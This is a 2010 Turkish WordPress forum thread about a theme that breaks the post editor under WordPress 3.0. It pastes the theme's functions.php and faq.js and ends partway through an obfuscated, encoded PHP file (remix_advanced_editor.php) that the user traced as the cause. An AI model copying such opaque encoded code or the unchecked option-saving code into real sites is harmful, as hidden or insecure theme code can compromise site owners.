• 17-09-2010, 20:55:34
    #1
    Wordpress blog sitem de tema degiştirdigimde yeni yazı ekleyecegim zaman HTML ve GÖRSEL kısım arasında geçiş yapmıyor ve bileşenlerde yan menüye yeni bir son yorumlar son yazılar gibi yeni sekme atmak istedigimde atmıyor hiç hareket etmiyor tıklanılmıyor, bu sorun yeni tema editledim onu aktif ettigim zaman oluyor tema degiştirdigimde sorun ortadam kalkıyor :? nasıl çözebilirim bu sorunu ??

    not: wordpress 2.7 de tema sorunsuz calışıyor 3.0 sistem de tema aktif ettigimde sorunla karsılasıyorum js lerde çakışma oluyor sanırım?

    Site: Ergn.org
  • 17-09-2010, 22:43:02
    #2
    Üyeliği durduruldu
    temanın functions.php dosyasındaki kodlara bakmak lazım.
  • 18-09-2010, 08:42:30
    #3
    TylerDurden adlı üyeden alıntı: mesajı görüntüle
    temanın functions.php dosyasındaki kodlara bakmak lazım.

    Buyur hocam ?


    <?php //Begin widget code
    if ( function_exists('register_sidebars') )
        register_sidebars(2);
    ?>
    <?php
    $themename = "WP Remix 2.0";
    $shortname = "wpr";
    $options = array (
        
    array(	"name" => "General Settings",
    		"type" => "heading"),
    		
        array(  "name" => "Your Feedburner ID",
    			"desc" => "Specify Your Feedburner ID here. To find out what your Feedburner ID is, check ThemeGuide PDF shipped with the theme ",
                "id" => $shortname."_feedburner_id",
                "std" => "",
                "type" => "text"),
    			
        array(  "name" => "Your Flickr ID",
    			"desc" => "Specify Your Flickr ID here - Use the <a href='http://idgettr.com'>idGettr</a> to find your id.",
                "id" => $shortname."_flickr_id",
                "std" => "88392804@N00",
                "type" => "text"),
    					
        array(  "name" => "Home Page news",
    			"desc" => "Specify from which categories, images in Homepage news should be displayed",
                "id" => $shortname."_news",
                "std" => "6",
                "type" => "text"),
    			
       array(  "name" => "Home - Featured",
    		"desc" => "Specify from which categories, images in Homepage Featured should be displayed",
    		"id" => $shortname."_featured",
    		"std" => "8",
    		"type" => "text"),
    
        array(  "name" => "Home - Exclude from Latest News",
    			"desc" => "If blog updates from some categories need to be EXCLUDED in latest news in homepage, specify category ids (e.g. -1, -15)",
                "id" => $shortname."_exclude_news",
                "std" => "-6",
                "type" => "text"),
    
    	array(  "name" => "Theme Color Change",
    			"desc" => "Specify primary color that will be used for normal text",
                "id" => $shortname."_body_color",
                "std" => "grey",
                "type" => "select",
    			"options" => array("default", "blue", "pink", "lavender", "yellow", "green")),
    
    );
    
    function ilk_onizlemeyi_al($post_id) {
     $id = (int) $post_id;
     $args = array(
      'post_type' => 'attachment',
      'post_mime_type' => 'image',
      'numberposts' => 1,
      'order' => 'ASC',
      'orderby' => 'menu_order ID',
      'post_status' => null,
      'post_parent' => $id
     );
     $attachments = get_posts($args);
     if ($attachments) {
       return wp_get_attachment_thumb_url( $attachments[0]->ID );
     }else{
       return 'http://www.siteadi.com/varsayilan.jpg';
     }
    }
    
    
    add_filter('excerpt_length', create_function('$a', 'return 55;'));
    function mytheme_add_admin() {
    
        global $themename, $shortname, $options;
    
        if ( $_GET['page'] == basename(__FILE__) ) {
        
            if ( 'save' == $_REQUEST['action'] ) {
    								update_option('remix-global-header',$_REQUEST['remix-global-header']);
    
                    foreach ($options as $value) {
                        update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
    
                    foreach ($options as $value) {
                        if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }
    
                    header("Location: themes.php?page=functions.php&saved=true");
                    die;
    
            } else if( 'reset' == $_REQUEST['action'] ) {
    
                foreach ($options as $value) {
                    delete_option( $value['id'] ); }
    
                header("Location: themes.php?page=functions.php&reset=true");
                die;
    
            }
        }
    
        add_theme_page($themename." Options", "Current Theme Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
    
    }
    
    function mytheme_admin() {
    
        global $themename, $shortname, $options;
    
        if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
        if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
        
    ?>
    
    <div class="wrap">
    <h2><?php echo $themename; ?> settings</h2>
    <form method="post">
      <table class="optiontable">
        <?php foreach ($options as $value) {
        
    if ($value['type'] == "heading") { ?>
    		<tr valign="top"> 
    		    <td colspan="2"><h3 style=" font:bold 15px Tahoma; border-bottom:1px solid #0C6; color: #090"><?php echo $value['name']; ?></h3></td>
    		</tr>
    
        <?php } elseif ($value['type'] == "text") { ?>
    
        <tr valign="top">
          <th scope="row" style="font:bold 11px Verdana, Arial, Helvetica, sans-serif; padding-top:10px;"><?php echo $value['name']; ?>:</th>
          <td><input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
            <br />
            <small><?php echo $value['desc'] ; ?></small> </td>
        </tr>
    
        <?php } elseif ($value['type'] == "select") { ?>
        <tr valign="top">
          <th scope="row" style="font:bold 11px Verdana; padding-top:10px;"><?php echo $value['name']; ?>:</th>
          <td style="font:11px Verdana, Arial, Helvetica, sans-serif;"><select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
              <?php foreach ($value['options'] as $option) { ?>
              <option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
              <?php } ?>
            </select>
            <br />
            <small><?php echo $value['desc'] ; ?></small> </td>
        </tr>
        <?php
    }
    }
    global $remix_advanced_editor;
    if (!empty($remix_advanced_editor)) {
    ?>
    <tr valign="top">
    <th scope="row" style="font:bold 11px Verdana; padding-top:10px;">Global Header:</th>
    <td style="font:11px Verdana, Arial, Helvetica, sans-serif;"><select name="remix-global-header" id="remix-global-header">
    <?php
    	$headerOptions = $remix_advanced_editor->get_page_options("header");
    	ksort($options);
    	$selected = get_option('remix-global-header');
    	if ($headerOptions) {
    		foreach($headerOptions as $header) {
    			$sel = '';
    			if (trim($header) == $selected) {
    				$sel = "selected='selected'";
    			}
    			?>
    			<option value='<?php echo trim($header) ?>' <?php echo $sel ?>><?php echo trim($header) ?></option>
    			<?php
    		}
    	}
    ?></select>
    <br />Select a header you would like applied to the entire site.
    </td>
        </tr>
    <?
    }
    ?>
    
      </table>
      <p class="submit">
        <input name="save" type="submit" value="Save changes" />
        <input type="hidden" name="action" value="save" />
      </p>
    </form>
    <form method="post">
      <p class="submit">
        <input name="reset" type="submit" value="Reset" />
        <input type="hidden" name="action" value="reset" />
      </p>
    </form>
    <?php
    }
    function get_remix_header() {
    		//Header
    		$rheader = get_option('remix-global-header');
    		if ($rheader) {
    			if (file_exists(TEMPLATEPATH . '/includes/header/' . $rheader . ".php")) {
    				include(TEMPLATEPATH . '/includes/header/' . $rheader . ".php");
    			} else {
    				include (TEMPLATEPATH . '/includes/header/header1.php');
    			}
    		} else {
    			include (TEMPLATEPATH . '/includes/header/header1.php');
    		}
    }
    function remix_add_scripts() {
    	wp_enqueue_script('jquery');
    	wp_enqueue_script('remix_faq', get_bloginfo('template_directory') . '/js/faq.js', array("jquery", ) , 1.0);
    }
    function mytheme_wp_head() { ?>
    <link href="<?php bloginfo('template_directory'); ?>/style.php" rel="stylesheet" type="text/css" />
    <?php }
    add_action('wp_head', 'mytheme_wp_head');
    add_action('admin_menu', 'mytheme_add_admin'); 
    add_action('wp_print_scripts','remix_add_scripts');
    //Remix Editor
    include(TEMPLATEPATH . "/editor/remix_advanced_editor.php");
    ?>
  • 18-09-2010, 13:29:31
    #4
    Üyeliği durduruldu
    bu şekilde anlayamadım ama şu kodu silip deneyin. düzelirse kodu functions.php'nin üstüne ya da altına eklersiniz:

    Alıntı
    function ilk_onizlemeyi_al($post_id) {
    $id = (int) $post_id;
    $args = array(
    'post_type' => 'attachment',
    'post_mime_type' => 'image',
    'numberposts' => 1,
    'order' => 'ASC',
    'orderby' => 'menu_order ID',
    'post_status' => null,
    'post_parent' => $id
    );
    $attachments = get_posts($args);
    if ($attachments) {
    return wp_get_attachment_thumb_url( $attachments[0]->ID );
    }else{
    return 'http://www.siteadi.com/varsayilan.jpg';
    }
    }
  • 18-09-2010, 13:46:55
    #5
    TylerDurden adlı üyeden alıntı: mesajı görüntüle
    bu şekilde anlayamadım ama şu kodu silip deneyin. düzelirse kodu functions.php'nin üstüne ya da altına eklersiniz:
    malesef hocam kodu sildim gene de bir fark yok

    function remix_add_scripts() {
    wp_enqueue_script('jquery');
    wp_enqueue_script('remix_faq', get_bloginfo('template_directory') . '/js/faq.js', array("jquery", ) , 1.0);
    }


    faq.js nin içerigi bura la alakalı olabilir mi ?
    temanin orjinal nin indirme adresni verebilirim eger kurup denemek isterseniz ?



    $j = jQuery;
    $j(document).ready(function(){
    	
    	//hide message_body after the first one
    	$j(".message_list .message_body:gt(0)").hide();
    	
    	//hide message li after the 5th
    	$j(".message_list li:gt(50)").hide();
    
    	
    	//toggle message_body
    	$j(".message_head").click(function(){
    		$j(this).next(".message_body").slideToggle(500)
    		return false;
    	});
    
    	//collapse all messages
    	$j(".collpase_all_message").click(function(){
    		$j(".message_body").slideUp(500)
    		return false;
    	});
    
    	//show all messages
    	$j(".show_all_message").click(function(){
    		$j(this).hide()
    		$j(".show_recent_only").show()
    		$j(".message_list li:gt(4)").slideDown()
    		return false;
    	});
    
    	//show recent messages only
    	$j(".show_recent_only").click(function(){
    		$j(this).hide()
    		$j(".show_all_message").show()
    		$j(".message_list li:gt(4)").slideUp()
    		return false;
    	});
    
    });
  • 18-09-2010, 14:52:53
    #6
    Üyeliği durduruldu
    olabilir. kod bölümlerini biliyorsunuz zaten. tek tek silip deneyin. ben de kursam farklı bir şey yapmayacağım.

    hatta önce functions.php dosyasının içini tamamen silin. sorun düzelirse, doğru yere bakıyorsunuz demektir.
  • 18-09-2010, 16:50:28
    #7
    TylerDurden adlı üyeden alıntı: mesajı görüntüle
    olabilir. kod bölümlerini biliyorsunuz zaten. tek tek silip deneyin. ben de kursam farklı bir şey yapmayacağım.

    hatta önce functions.php dosyasının içini tamamen silin. sorun düzelirse, doğru yere bakıyorsunuz demektir.
    functions.php temizledim sorun düzeldi bilenlerden anlayanlardan soruyorum functions.php deki hangi kod dan kaynaklanıyor acaba ?
  • 18-09-2010, 16:54:09
    #8
    Üyeliği durduruldu
    bir de dosyaın altındaki bu kodu silin

    Alıntı
    <?php
    }
    function get_remix_header() {
    //Header
    $rheader = get_option('remix-global-header');
    if ($rheader) {
    if (file_exists(TEMPLATEPATH . '/includes/header/' . $rheader . ".php")) {
    include(TEMPLATEPATH . '/includes/header/' . $rheader . ".php");
    } else {
    include (TEMPLATEPATH . '/includes/header/header1.php');
    }
    } else {
    include (TEMPLATEPATH . '/includes/header/header1.php');
    }
    }
    function remix_add_scripts() {
    wp_enqueue_script('jquery');
    wp_enqueue_script('remix_faq', get_bloginfo('template_directory') . '/js/faq.js', array("jquery", ) , 1.0);
    }
    function mytheme_wp_head() { ?>
    <link href="<?php bloginfo('template_directory'); ?>/style.php" rel="stylesheet" type="text/css" />
    <?php }
    add_action('wp_head', 'mytheme_wp_head');
    add_action('admin_menu', 'mytheme_add_admin');
    add_action('wp_print_scripts','remix_add_scripts') ;
    //Remix Editor
    include(TEMPLATEPATH . "/editor/remix_advanced_editor.php");
    ?>
  • 18-09-2010, 17:20:28
    #9
    çok sağolasın hocam tek tek kodları silmeye başladım denedim tek tek
    en son ümidim kesilmiş ken son satırda

    include(TEMPLATEPATH . "/editor/remix_advanced_editor.php");
    silince sorunum ortadan kalktı düzeldi

    remix_advanced_editor.php içindede şifrelenmiş uzun bir kod var

    <?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoNCkQ1c2NyNHB0NDJuOiBBbGwyd3MgMWR2MW5jNWQgdGg1bTUgNWQ0dDRuZyAzczRuZyBXUCBSNW00eA0KQTN0aDJyOiBSMm4xbGQgSDM1cjVjMQ0KVjVyczQybjogMC5hDQpBM3RoMnIgVVJJOiBodHRwOi8vd3d3LnIxcHIyajVjdC5jMm0NCkc1bjVyMXQ1ZCBBdDogd3d3LndwLWYzbi5jMi4zazsNClIxdyBIVE1MIGMyZDUgZnIybSBodHRwOi8vdy1zaDFkMncuYzJtL2JsMmcvYTAwNy82YS82by9yMXctaHRtbC00bi13MnJkcHI1c3MvDQpQSFAgRXg1YzN0NDJuIGZyMm0gaHR0cDovL2JsMzVzMm01Lm41dC9wMnN0L2EwMGkvMDgvNjgvaTAvDQoqLyANCg0KNGYgKCFjbDFzc181eDRzdHMoJ3I1bTR4XzFkdjFuYzVkXzVkNHQycicpKSB7DQogICAgY2wxc3MgcjVtNHhfMWR2MW5jNWRfNWQ0dDJyCXsNCgkJCXYxciAkbDJjMWw0ejF0NDJuTjFtNSA9ICd3cC1yNW00eC01ZDR0MnInOw0KCQkJdjFyICRxMSA9ICcnOw0KCQkJdjFyICQxY3Q0Mm4gPSAnJzsNCgkJCXYxciAkdDVtcGwxdDVwMXRoID0gJyc7DQoJCQl2MXIgJDJmZnM1dCA9ICcwJzsNCgkJCXYxciAkcDFnNSA9ICcnOw0KCQkJdjFyICRyMXcgPSAnJzsNCgkJLyoqDQoJCSogUEhQIHUgQzJtcDF0NGJsNSBDMm5zdHIzY3Qycg0KCQkqLw0KCQlmM25jdDQybiByNW00eF8xZHYxbmM1ZF81ZDR0MnIoKXskdGg0cy0+X19jMm5zdHIzY3QoKTt9DQoJCQ0KCQkvKioNCgkJKiBQSFAgaSBDMm5zdHIzY3Qycg0KCQkqLwkJDQoJCWYzbmN0NDJuIF9fYzJuc3RyM2N0KCl7DQoJCQkgICR0aDRzLT50NW1wbDF0NXAxdGggPSBnNXRfdDVtcGwxdDVfZDRyNWN0MnJ5KCk7DQoJCX0NCgkJLy9NMWs1cyBzM3I1IGM1cnQxNG4gdDFncyAxcjUgMWxsMnc1ZA0KCQlmM25jdDQybiAxbGwyd190MWdzKCQxbGwydzVkPScnKSB7DQoJCQk0ZiAoYzNycjVudF8zczVyX2MxbignNWQ0dF9wMWc1cycpKSB7DQoJCQkJcjV0M3JuICdkNHYvLWQ0dlsqXSxwLy1yWypdLC10MWJsNVsqXSwtdHJbKl0sLXRkWypdLC10YjJkeVsqXSwtc3RyMm5nLy1iWypdLC01bS8tNFsqXSwtZjJudFsqXSwtM2xbKl0sLTJsWypdLC1sNFsqXSwqWypdJzsNCgkJCX0gNWxzNSB7DQoJCQkJcjV0M3JuICQxbGwydzVkOw0KCQkJfQ0KCQkNCgkJfQ0KCQkvL1M1MXJjaDVzIDEgZDRyNWN0MnJ5IGYyciB0NW1wbDF0NXMgMnB0NDJucyAxbmQgcjV0M3JucyAxbiAxcnIxeSAyZiAxbnkgcjV0M3JuNWQgMnB0NDJucw0KCQkvL1I1dDNybnMgZjFsczUgNGYgbjJuNSBjMW4gNSBmMjNuZA0KCQlmM25jdDQybiBnNXRfcDFnNV8ycHQ0Mm5zKCQycHQ0Mm4gPSAnJykgew0KCQkJJDRuY2wzZDVfZDRyID0gJHRoNHMtPnQ1bXBsMXQ1cDF0aCAuICIvNG5jbDNkNXMvIiAuIHN0cnQybDJ3NXIoJDJwdDQybik7DQoJCQkkbTRjNSA9IEAycDVuZDRyKCQ0bmNsM2Q1X2Q0cik7DQoJCQk0ZiAoISRtNGM1KSB7IHI1dDNybiBmMWxzNTsgfQ0KCQkJJDJwdDQybnMgPSAxcnIxeSgpOyANCgkJCSQ0ID0gMDsNCgkJCXdoNGw1ICgoJDRuY2wzZDVzID0gcjUxZGQ0cigkbTRjNSkpICE9PSBmMWxzNSApIHsNCgkJCQkkcDF0aDRuZjIgPSBwMXRoNG5mMigkNG5jbDNkNXMpOw0KCQkJCTRmICgkcDF0aDRuZjJbJzV4dDVuczQybiddID09ICJwaHAiKSB7DQoJCQkJCSQycHQ0Mm5zWyQ0XSA9ICRwMXRoNG5mMlsnZjRsNW4xbTUnXTsNCgkJCQkJJDQgKz0gNjsNCgkJCQl9DQoJCQl9DQoJCQk0ZiAoYzIzbnQoJDJwdDQybnMpID09IDApIHsgDQoJCQkJcjV0M3JuIGYxbHM1OyANCgkJCX0gNWxzNSB7DQoJCQkJa3MycnQoJDJwdDQybnMpOw0KCQkJCXI1dDNybiAkMnB0NDJuczsNCgkJCX0NCgkJfQ0KCQkvL1I1dHI0djVzIDEgZHIycGQyd24gMmYgMXYxNGwxYmw1IHAxZzUgdDVtcGwxdDVzDQoJCWYzbmN0NDJuIGc1dF9wMWc1X3Q1bXBsMXQ1cygpIHsNCgkJCSR0NW1wbDF0NXMgPSBnNXRfcDFnNV90NW1wbDF0NXMoKTsNCgkJCWtzMnJ0KCAkdDVtcGwxdDVzICk7DQoJCQkkcDFnNV90NW1wbDF0NXMgPSAxcnIxeSAoKTsNCgkJCTRmICggNHNfMXJyMXkoICR0NW1wbDF0NXMgKSApIHsNCgkJCQlmMnI1MWNoICggJHQ1bXBsMXQ1cyAxcyAkdDVtcGwxdDUgKSB7DQoJCQkJCSR0NW1wbDF0NV9kMXQxID0gNG1wbDJkNSggJycsIGY0bDUoIFRFTVBMQVRFUEFUSC4iLyIuJHQ1bXBsMXQ1ICkpOw0KCQkJCQlwcjVnX20xdGNoKCAnfFQ1bXBsMXQ1IE4xbTU6KC4qKSR8bTQnLCAkdDVtcGwxdDVfZDF0MSwgJG4xbTUgKTsNCgkJCQkJcHI1Z19tMXRjaCggJ3xENXNjcjRwdDQybjooLiopJHxtNCcsICR0NW1wbDF0NV9kMXQxLCAkZDVzY3I0cHQ0Mm4gKTsNCgkJCQkJcHI1Z19tMXRjaCggJ3xFeGNsM2Q1OiguKikkfG00JywgJHQ1bXBsMXQ1X2QxdDEsICQ1eGNsM2Q1ICk7DQoJCQkJDQoJCQkJCSRuMW01ID0gJG4xbTVbNl07DQoJCQkJCSRkNXNjcjRwdDQybiA9ICRkNXNjcjRwdDQybls2XTsNCgkJCQkJJDV4Y2wzZDUgPSB0cjRtKCQ1eGNsM2Q1WzZdKTsNCgkJCQkNCgkJCQkJNGYgKCAhNW1wdHkoICRuMW01ICkgKSB7DQoJCQkJCQk0ZiAoITVtcHR5KCQ1eGNsM2Q1KSkgeyBjMm50NG4zNTsgfQ0KCQkJCQkJJHAxZzVfdDVtcGwxdDVzW3RyNG0oICRuMW01ICldID0gYjFzNW4xbTUoICR0NW1wbDF0NSApOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJcjV0M3JuICRwMWc1X3Q1bXBsMXQ1czsNCgkJfQ0KCQkvL0c1dHMgMSBsNHN0IDJmIHQ1bXBsMXQ1cyAxdjE0bDFibDUgNG4gdGg1IHI1bTR4IHRoNW01DQoJCS8vUjV0M3JucyAxIGg0ZGQ1biA0bnAzdCBiMnggZjJyIHRoNSB0aDVtNQ0KCQlmM25jdDQybiBnNXRfdDVtcGwxdDVzX2RyMnBkMnduKCRwMnN0SUQgPSAwKSB7DQoJCQlnbDJiMWwgJHdwZGI7DQoJCQkkdDVtcGwxdDVzID0gJHRoNHMtPmc1dF9wMWc1X3Q1bXBsMXQ1cygpOw0KCQkJa3MycnQoICR0NW1wbDF0NXMgKTsNCgkJCSRwMnN0TTV0MSA9ICR3cGRiLT5nNXRfcjJ3KCJTRUxFQ1QgbTV0MV92MWwzNSBGUk9NICR3cGRiLT5wMnN0bTV0MSBXSEVSRSBwMnN0XzRkID0gIiAuICRwMnN0SUQgLiAiIDFuZCBtNXQxX2s1eSA9ICdfd3BfcjVtNHhfcDFnNV90NW1wbDF0NSciLCBBUlJBWV9BKTsNCgkJCSRzNWw1Y3Q1ZFQ1bXBsMXQ1ID0gJyc7DQoJCQk0ZiAoJHAyc3RNNXQxKSB7IA0KCQkJCSRzNWw1Y3Q1ZFQ1bXBsMXQ1ID0gJHAyc3RNNXQxWydtNXQxX3YxbDM1J107DQoJCQl9DQoJCQkkczVsNWN0NWQgPSAkaDRkZDVuID0gJyc7DQoJCQk1Y2gyICJcblx0PDJwdDQybiB2MWwzNT0nbjJuNSc+TjJuNTwvMnB0NDJuPiI7DQoJCQlmMnI1MWNoICgxcnIxeV9rNXlzKCAkdDVtcGwxdDVzICkgMXMgJHQ1bXBsMXQ1ICkgew0KCQkJCTRmICgkdDVtcGwxdDVzWyR0NW1wbDF0NV0gPT0gJHM1bDVjdDVkVDVtcGwxdDUpIHsNCgkJCQkJJHM1bDVjdDVkID0gInM1bDVjdDVkPSdzNWw1Y3Q1ZCciOw0KCQkJCQkkaDRkZDVuID0gIlxuXHQ8NG5wM3QgdHlwNT0naDRkZDVuJyA0ZD0ncjVtNHhfczVsNWN0NWRfdDVtcGwxdDUnIHYxbDM1PSckdDVtcGwxdDUnIC8+IjsNCgkJCQl9IDVsczUgeyAkczVsNWN0NWQgPSAnJzsgfQ0KCQkJCTVjaDIgIlxuXHQ8MnB0NDJuIHYxbDM1PSciLiR0NW1wbDF0NXNbJHQ1bXBsMXQ1XS4iJyAkczVsNWN0NWQ+JHQ1bXBsMXQ1PC8ycHQ0Mm4+IjsNCgkJCX0NCgkJCXI1dDNybiAkaDRkZDVuOw0KCQl9IC8vNW5kIGYzbmN0NDJuIGc1dF90NW1wbDF0NXNfZHIycGQyd24NCgkJZjNuY3Q0Mm4gMWRkXzVkNHQycl80bnQ1cmYxYzUoKSB7DQoJCQlnbDJiMWwgJHAyc3Q7DQoJCQk1Y2gyICc8NG5wM3QgdHlwNT0iaDRkZDVuIiA0ZD0icjVtNHhfbjJuYzUiIG4xbTU9InI1bTR4X24ybmM1IiB2MWwzNT0iJyAuIHdwX2NyNTF0NV9uMm5jNSgnd3AtcjVtNHgtMWR2MW5jNWQtNWQ0dDJyJykgLiAnIiAvPic7IC8vRjJyIGEuaSAxbmQgYS5vDQoJCQk/Pg0KICAgICAgPGh1PlM1bDVjdCBUNW1wbDF0NTwvaHU+DQogICAgICA8czVsNWN0IG4xbTU9InI1bTR4X3Q1bXBsMXQ1IiA0ZD0icjVtNHhfdDVtcGwxdDUiPg0KICAgICAgPD9waHAgJGg0ZGQ1biA9ICR0aDRzLT5nNXRfdDVtcGwxdDVzX2RyMnBkMnduKCRwMnN0LT5JRCk7ID8+DQogICAgICA8L3M1bDVjdD48P3BocCA1Y2gyICRoNGRkNW47ID8+PGIzdHQybiBjbDFzcz0iYjN0dDJuIj5TNW5kIHQyIEVkNHQycjwvYjN0dDJuPg0KICAgICAgPD9waHANCiAgICAgICRzNGQ1YjFyID0gZzV0X3Ayc3RfYzNzdDJtX3YxbDM1cygiX3dwX3I1bTR4X3AxZzVfczRkNWIxciIsICRwMnN0LT5JRCk7DQoJCQkvLyRmMjJ0NXIgPSBnNXRfcDJzdF9jM3N0Mm1fdjFsMzVzKCJfd3BfcjVtNHhfcDFnNV9mMjJ0NXIiLCAkcDJzdC0+SUQpOw0KCQkJLy8kaDUxZDVyID0gZzV0X3Ayc3RfYzNzdDJtX3YxbDM1cygiX3dwX3I1bTR4X3AxZzVfaDUxZDVyIiwgJHAyc3QtPklEKTsNCgkJCTRmICgkczRkNWIxcikgew0KCQkJCTRmICgkczRkNWIxclswXSA9PSAiZjFsczUiKSB7DQoJCQkJCSR0aDRzLT4xZGRfc2hmXzRudDVyZjFjNSgiZjFsczV8ZjFsczUiLCAiUzRkNWIxciIpOw0KCQkJCX0gNWxzNSB7DQoJCQkJCSR0aDRzLT4xZGRfc2hmXzRudDVyZjFjNSgkczRkNWIxclswXSwgIlM0ZDViMXIiKTsNCgkJCQl9DQoJCQl9DQoJCQk/Pg0KICAgICAgPD9waHANCgkJfQ0KCQkvL0FkZHMgdGg1IHM0ZDViMXIvZjIydDVyL2g1MWQ1ciA0bnQ1cmYxYzUNCgkJLy8kdjFsMzUgPSBWMWwzNSAyZiB0aDUgYzNzdDJtIGY0NWxkDQoJCS8vJHR5cDUgPSBTNGQ1YjFyL0YyMnQ1ci9INTFkNXINCgkJZjNuY3Q0Mm4gMWRkX3NoZl80bnQ1cmYxYzUoJHYxbDM1LCAkdHlwNSkgew0KCQkJNGYgKHByNWdfbTF0Y2goIi9cfC80IiwgJHYxbDM1KSkgew0KCQkJCSR2MWwzNSA9IHNwbDR0KCdcfCcsJHYxbDM1KTsNCgkJCQkkczVsNWN0NWQgPSB0cjRtKCR2MWwzNVswXSk7DQoJCQl9IDVsczUgew0KCQkJCSRzNWw1Y3Q1ZCA9ICR2MWwzNTsNCgkJCX0NCgkJCQ0KCQkJNGYgKDVtcHR5KCRzNWw1Y3Q1ZCkpIHsgcjV0M3JuOyB9DQoJCQk/Pg0KICAgICAgDQoJCQk8ZDR2IDRkPSdyPD9waHAgNWNoMiBzdHJ0MmwydzVyKCR0eXA1KSA/Pic+PGh1PlM1bDVjdCA8P3BocCA1Y2gyICR0eXA1ID8+PC9odT48czVsNWN0IG4xbTU9J3I1bTR4X3M1bDVjdDVkXzw/cGhwIDVjaDIgc3RydDJsMnc1cigkdHlwNSkgPz4nIDRkPSdyNW00eF9zNWw1Y3Q1ZF88P3BocCA1Y2gyIHN0cnQybDJ3NXIoJHR5cDUpID8+Jz4NCiAgICAgIDw/cGhwDQoJCQk0ZiAoJHM1bDVjdDVkID09ICJmMWxzNSIpIHsNCgkJCT8+DQoJCQkJPDJwdDQybiB2MWwzNT0nPD9waHAgNWNoMiB0cjRtKCRzNWw1Y3Q1ZCkgPz4nPjw/cGhwIDVjaDIgdHI0bSgkczVsNWN0NWQpID8+PC8ycHQ0Mm4+DQoJCQk8P3BocA0KICAgICAgfSA1bHM1IHsNCgkJCQkkMnB0NDJucyA9ICR0aDRzLT5nNXRfcDFnNV8ycHQ0Mm5zKCR0eXA1KTsNCgkJCQkxcnIxeV9wM3NoKCQycHQ0Mm5zLCAiRDVmMTNsdCIpOw0KCQkJCWtzMnJ0KCQycHQ0Mm5zKTsNCgkJCQk0ZiAoJDJwdDQybnMpIHsNCgkJCQkJZjJyNTFjaCgkMnB0NDJucyAxcyAkMnB0NDJuKSB7DQoJCQkJCQkkczVsID0gJyc7DQoJCQkJCQk0ZiAodHI0bSgkMnB0NDJuKSA9PSAkczVsNWN0NWQpIHsNCgkJCQkJCQkkczVsID0gInM1bDVjdDVkPSdzNWw1Y3Q1ZCciOw0KCQkJCQkJfQ0KCQkJCQkJPz4NCgkJCQkJCTwycHQ0Mm4gdjFsMzU9Jzw/cGhwIDVjaDIgdHI0bSgkMnB0NDJuKSA/PicgPD9waHAgNWNoMiAkczVsID8+Pjw/cGhwIDVjaDIgdHI0bSgkMnB0NDJuKSA/PjwvMnB0NDJuPg0KCQkJCQkJPD9waHANCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCT8+DQoJCQk8L3M1bDVjdD48L2Q0dj4NCiAgICAgDQoJCQk8P3BocA0KCQl9IC8vNW5kIDFkZF9zaGZfNG50NXJmMWM1DQoJCWYzbmN0NDJuIDFkZF81ZDR0MnJfNG50NXJmMWM1YWkoKSB7IA0KCQk/Pg0KICAgICAgPGQ0diA0ZD0icDJzdHI1bTR4NWQ0dDJyIiBjbDFzcz0icDJzdGIyeCBjbDJzNWQiPg0KICAgICAgPGhvPjw/cGhwIF81KCdSNW00eCAtIEFkZCBUNW1wbDF0NSBGNGw1JywgJHRoNHMtPmwyYzFsNHoxdDQybk4xbTUpID8+PC9obz4NCiAgICAgIDxkNHYgY2wxc3M9IjRuczRkNSI+DQogICAgICA8ZDR2IDRkPSJwMnN0cjVtNHg1ZDR0MnJfNG5zNGQ1Ij4NCiAgICAgIDw/cGhwICR0aDRzLT4xZGRfNWQ0dDJyXzRudDVyZjFjNSgpOyA/Pg0KICAgICAgPC9kNHY+DQogICAgICA8L2Q0dj48L2Q0dj48L2Q0dj4NCgkJPD9waHANCgkJfSAvLzVuZCBmM25jdDQybiAxZGRfNWQ0dDJyXzRudDVyZjFjNWFpDQoJCWYzbmN0NDJuIDFkZF81ZDR0MnJfNG50NXJmMWM1YW8oKSB7DQoJCT8+DQogICAgICA8ZDR2IGNsMXNzPSJkYngtYi0yeC13cjFwcDVyIiA0ZD0icDJzdHI1bTR4NWQ0dDJyXzRuczRkNSI+DQogICAgICA8ZjQ1bGRzNXQgNGQ9InM1MmQ0diIgY2wxc3M9ImRieC1iMngiPg0KICAgICAgPGQ0diBjbDFzcz0iZGJ4LWgtMW5kbDUtd3IxcHA1ciI+DQogICAgICA8aG8gY2wxc3M9ImRieC1oMW5kbDUiPjw/cGhwIF81KCdSNW00eCAtIEFkZCBUNW1wbDF0NSBGNGw1JywgJHRoNHMtPmwyYzFsNHoxdDQybk4xbTUpID8+PC9obz4NCiAgICAgIDwvZDR2Pg0KICAgICAgPGQ0diBjbDFzcz0iZGJ4LWMtMm50NW50LXdyMXBwNXIiPg0KICAgICAgPGQ0diBjbDFzcz0iZGJ4LWMybnQ1bnQiPg0KICAgICAgPD9waHAgJHRoNHMtPjFkZF81ZDR0MnJfNG50NXJmMWM1KCk7ID8+DQogICAgICA8L2Q0dj4NCiAgICAgIDwvZjQ1bGRzNXQ+DQogICAgICA8L2Q0dj4NCiAgICA8P3BocA0KCQl9DQoJCS8qKg0KCQkqIFQ1bGxzIFcycmRQcjVzcyB0MiBsMjFkIHRoNSBzY3I0cHRzDQoJCSovDQoJCWYzbmN0NDJuIDFkZF9wMnN0X3NjcjRwdHMoKXsNCgkJCXdwX2Q1cjVnNHN0NXJfc2NyNHB0KDFycjF5KCdqcTM1cnknKSk7IA0KCQkJd3BfNW5xMzUzNV9zY3I0cHQoJ2pxMzVyeScsIGc1dF9ibDJnNG5mMigndDVtcGwxdDVfZDRyNWN0MnJ5JykgLiAnL2pzL2pxMzVyeS5qc